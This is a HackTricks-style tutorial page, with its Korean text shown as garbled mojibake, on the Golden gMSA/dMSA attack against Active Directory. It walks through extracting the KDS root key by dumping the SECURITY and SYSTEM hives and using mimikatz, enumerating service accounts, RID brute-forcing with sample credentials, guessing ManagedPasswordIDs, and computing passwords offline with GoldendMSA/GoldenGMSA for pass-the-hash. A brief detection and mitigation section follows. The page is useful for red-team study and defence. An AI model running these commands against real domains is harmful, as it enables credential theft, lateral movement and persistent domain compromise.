Golden gMSA/dMSA Attack (Managed Service Account ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ์˜คํ”„๋ผ์ธ ํŒŒ์ƒ)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

Windows Managed Service Accounts (MSA)๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ˆ˜๋™์œผ๋กœ ๊ด€๋ฆฌํ•  ํ•„์š” ์—†์ด ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ์„ค๊ณ„๋œ ํŠน๋ณ„ํ•œ ์ฃผ์ฒด์ž…๋‹ˆ๋‹ค. ์ฃผ์š” ๋‘ ๊ฐ€์ง€ ์œ ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  1. gMSA โ€“ ๊ทธ๋ฃน Managed Service Account โ€“ msDS-GroupMSAMembership ์†์„ฑ์— ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์—ฌ๋Ÿฌ ํ˜ธ์ŠคํŠธ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. dMSA โ€“ ์œ„์ž„๋œ Managed Service Account โ€“ gMSA์˜ (๋ฏธ๋ฆฌ๋ณด๊ธฐ) ํ›„๊ณ„์ž๋กœ, ๋™์ผํ•œ ์•”ํ˜ธํ™”์— ์˜์กดํ•˜์ง€๋งŒ ๋” ์„ธ๋ถ„ํ™”๋œ ์œ„์ž„ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋‘ ๋ณ€ํ˜• ๋ชจ๋‘ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ €์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค ๊ฐ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)์— ์ผ๋ฐ˜ NT ํ•ด์‹œ์ฒ˜๋Ÿผ. ๋Œ€์‹  ๋ชจ๋“  DC๋Š” ๋‹ค์Œ ์„ธ ๊ฐ€์ง€ ์ž…๋ ฅ๊ฐ’์œผ๋กœ๋ถ€ํ„ฐ ํ˜„์žฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฆ‰์„์—์„œ ํŒŒ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ํฌ๋ฆฌ์ŠคํŠธ ์ „์ฒด์˜ KDS Root Key (KRBTGT\KDS) โ€“ ๋ฌด์ž‘์œ„๋กœ ์ƒ์„ฑ๋œ GUID ์ด๋ฆ„์˜ ๋น„๋ฐ€๋กœ, CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, โ€ฆ ์ปจํ…Œ์ด๋„ˆ ์•„๋ž˜์˜ ๋ชจ๋“  DC์— ๋ณต์ œ๋ฉ๋‹ˆ๋‹ค.
  • ๋Œ€์ƒ ๊ณ„์ •์˜ SID.
  • msDS-ManagedPasswordId ์†์„ฑ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ๊ณ„์ •๋ณ„ ManagedPasswordID (GUID).

ํŒŒ์ƒ ๊ณผ์ •์€: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID ) โ†’ 240 ๋ฐ”์ดํŠธ ๋ธ”๋กญ์ด ์ตœ์ข…์ ์œผ๋กœ base64 ์ธ์ฝ”๋”ฉ๋˜์–ด msDS-ManagedPassword ์†์„ฑ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ์ •์ƒ์ ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ ์‚ฌ์šฉ ์ค‘์—๋Š” Kerberos ํŠธ๋ž˜ํ”ฝ์ด๋‚˜ ๋„๋ฉ”์ธ ์ƒํ˜ธ์ž‘์šฉ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค โ€“ ๋ฉค๋ฒ„ ํ˜ธ์ŠคํŠธ๋Š” ์„ธ ๊ฐ€์ง€ ์ž…๋ ฅ๊ฐ’์„ ์•Œ๊ณ  ์žˆ๋Š” ํ•œ ๋กœ์ปฌ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํŒŒ์ƒํ•ฉ๋‹ˆ๋‹ค.

Golden gMSA / Golden dMSA ๊ณต๊ฒฉ

๊ณต๊ฒฉ์ž๊ฐ€ ๋ชจ๋“  ์„ธ ๊ฐ€์ง€ ์ž…๋ ฅ๊ฐ’์„ ์˜คํ”„๋ผ์ธ์œผ๋กœ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋„๋ฉ”์ธ ๋‚ด์˜ ๋ชจ๋“  gMSA/dMSA์— ๋Œ€ํ•œ ์œ ํšจํ•œ ํ˜„์žฌ ๋ฐ ๋ฏธ๋ž˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์‹œ DC์— ์ ‘๊ทผํ•˜์ง€ ์•Š๊ณ ๋„ ๋‹ค์Œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • LDAP ์ฝ๊ธฐ ๊ฐ์‚ฌ
  • ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ๊ฐ„๊ฒฉ (์‚ฌ์ „ ๊ณ„์‚ฐ ๊ฐ€๋Šฅ)

์ด๋Š” ์„œ๋น„์Šค ๊ณ„์ •์— ๋Œ€ํ•œ Golden Ticket์— ๋น„์œ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ „์ œ ์กฐ๊ฑด

  1. ํ•˜๋‚˜์˜ DC (๋˜๋Š” Enterprise Admin)์— ๋Œ€ํ•œ ํฌ๋ฆฌ์ŠคํŠธ ์ˆ˜์ค€์˜ ์†์ƒ ๋˜๋Š” ํฌ๋ฆฌ์ŠคํŠธ ๋‚ด์˜ DC ์ค‘ ํ•˜๋‚˜์— ๋Œ€ํ•œ SYSTEM ์ ‘๊ทผ.
  2. ์„œ๋น„์Šค ๊ณ„์ •์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ (LDAP ์ฝ๊ธฐ / RID ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…).
  3. GoldenDMSA ๋˜๋Š” ๋™๋“ฑํ•œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” .NET โ‰ฅ 4.7.2 x64 ์›Œํฌ์Šคํ…Œ์ด์…˜.

Golden gMSA / dMSA

1๋‹จ๊ณ„ โ€“ KDS Root Key ์ถ”์ถœ

๋ชจ๋“  DC์—์„œ ๋คํ”„ (๋ณผ๋ฅจ ์„€๋„ ๋ณต์‚ฌ / ์›์‹œ SAM+SECURITY ํ•˜์ด๋ธŒ ๋˜๋Š” ์›๊ฒฉ ๋น„๋ฐ€):

reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM  system.hive

# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch   # shows KDS root keys too

# With GoldendMSA
GoldendMSA.exe kds --domain <domain name>   # query KDS root keys from a DC in the forest
GoldendMSA.exe kds

# With GoldenGMSA
GoldenGMSA.exe kdsinfo

RootKey (GUID ์ด๋ฆ„)์œผ๋กœ ๋ ˆ์ด๋ธ”๋œ base64 ๋ฌธ์ž์—ด์€ ์ดํ›„ ๋‹จ๊ณ„์—์„œ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

2๋‹จ๊ณ„ โ€“ gMSA / dMSA ๊ฐ์ฒด ์—ด๊ฑฐ

์ตœ์†Œํ•œ sAMAccountName, objectSid ๋ฐ msDS-ManagedPasswordId๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค:

# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId

GoldenGMSA.exe gmsainfo

GoldenDMSA๋Š” ํ—ฌํผ ๋ชจ๋“œ๋ฅผ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค:

# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap

# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Phase 3 โ€“ ManagedPasswordID ์ถ”์ธก / ๋ฐœ๊ฒฌ (๋ˆ„๋ฝ ์‹œ)

์ผ๋ถ€ ๋ฐฐํฌ์—์„œ๋Š” msDS-ManagedPasswordId๋ฅผ ACL ๋ณดํ˜ธ ์ฝ๊ธฐ์—์„œ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
GUID๊ฐ€ 128๋น„ํŠธ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋‹จ์ˆœํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์€ ๋ถˆ๊ฐ€๋Šฅํ•˜์ง€๋งŒ:

  1. ์ฒซ ๋ฒˆ์งธ 32๋น„ํŠธ = ๊ณ„์ • ์ƒ์„ฑ์˜ Unix epoch ์‹œ๊ฐ„ (๋ถ„ ๋‹จ์œ„ ํ•ด์ƒ๋„).
  2. ๊ทธ ๋’ค์— 96๋น„ํŠธ์˜ ๋ฌด์ž‘์œ„ ๋น„ํŠธ๊ฐ€ ์ด์–ด์ง‘๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ๊ณ„์ •๋‹น ์ข์€ ๋‹จ์–ด ๋ชฉ๋ก (ยฑ ๋ช‡ ์‹œ๊ฐ„)์ด ํ˜„์‹ค์ ์ž…๋‹ˆ๋‹ค.

GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>

๋„๊ตฌ๋Š” ํ›„๋ณด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ณ„์‚ฐํ•˜๊ณ  ๊ทธ๋“ค์˜ base64 blob์„ ์‹ค์ œ msDS-ManagedPassword ์†์„ฑ๊ณผ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค โ€“ ์ผ์น˜ํ•˜๋ฉด ์˜ฌ๋ฐ”๋ฅธ GUID๊ฐ€ ๋“œ๋Ÿฌ๋‚ฉ๋‹ˆ๋‹ค.

Phase 4 โ€“ ์˜คํ”„๋ผ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ณ„์‚ฐ ๋ฐ ๋ณ€ํ™˜

ManagedPasswordID๊ฐ€ ์•Œ๋ ค์ง€๋ฉด, ์œ ํšจํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ํ•œ ๋ช…๋ น์–ด ๊ฑฐ๋ฆฌ์ž…๋‹ˆ๋‹ค:

# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>

๊ฒฐ๊ณผ ํ•ด์‹œ๋Š” mimikatz (sekurlsa::pth) ๋˜๋Š” Rubeus๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Kerberos ๋‚จ์šฉ์— ์ฃผ์ž…๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์€๋ฐ€ํ•œ ์ธก๋ฉด ์ด๋™ ๋ฐ ์ง€์†์„ฑ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ์™„ํ™”

  • DC ๋ฐฑ์—… ๋ฐ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•˜์ด๋ธŒ ์ฝ๊ธฐ ๊ธฐ๋Šฅ์„ Tier-0 ๊ด€๋ฆฌ์ž์—๊ฒŒ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.
  • DC์—์„œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์„œ๋น„์Šค ๋ณต์› ๋ชจ๋“œ(DSRM) ๋˜๋Š” ๋ณผ๋ฅจ ์„€๋„ ๋ณต์‚ฌ ์ƒ์„ฑ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค.
  • ์„œ๋น„์Šค ๊ณ„์ •์˜ CN=Master Root Keys,โ€ฆ ๋ฐ userAccountControl ํ”Œ๋ž˜๊ทธ์— ๋Œ€ํ•œ ์ฝ๊ธฐ/๋ณ€๊ฒฝ์„ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.
  • ๋น„์ •์ƒ์ ์ธ base64 ๋น„๋ฐ€๋ฒˆํ˜ธ ์“ฐ๊ธฐ ๋˜๋Š” ํ˜ธ์ŠคํŠธ ๊ฐ„์˜ ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด ์„œ๋น„์Šค ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์‚ฌ์šฉ์„ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • Tier-0 ๊ฒฉ๋ฆฌ๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ, ๊ณ ๊ธ‰ gMSA๋ฅผ ํด๋ž˜์‹ ์„œ๋น„์Šค ๊ณ„์ •์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ณ  ์ •๊ธฐ์ ์œผ๋กœ ๋ฌด์ž‘์œ„ ํšŒ์ „์„ ๊ณ ๋ คํ•ฉ๋‹ˆ๋‹ค.

๋„๊ตฌ

  • Semperis/GoldenDMSA โ€“ ์ด ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉ๋œ ์ฐธ์กฐ ๊ตฌํ˜„.
  • Semperis/GoldenGMSA โ€“ ์ด ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉ๋œ ์ฐธ์กฐ ๊ตฌํ˜„.
  • mimikatz โ€“ lsadump::secrets, sekurlsa::pth, kerberos::ptt.
  • Rubeus โ€“ ํŒŒ์Šค-๋”-ํ‹ฐ์ผ“์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ƒ๋œ AES ํ‚ค๋ฅผ ์ด์šฉํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ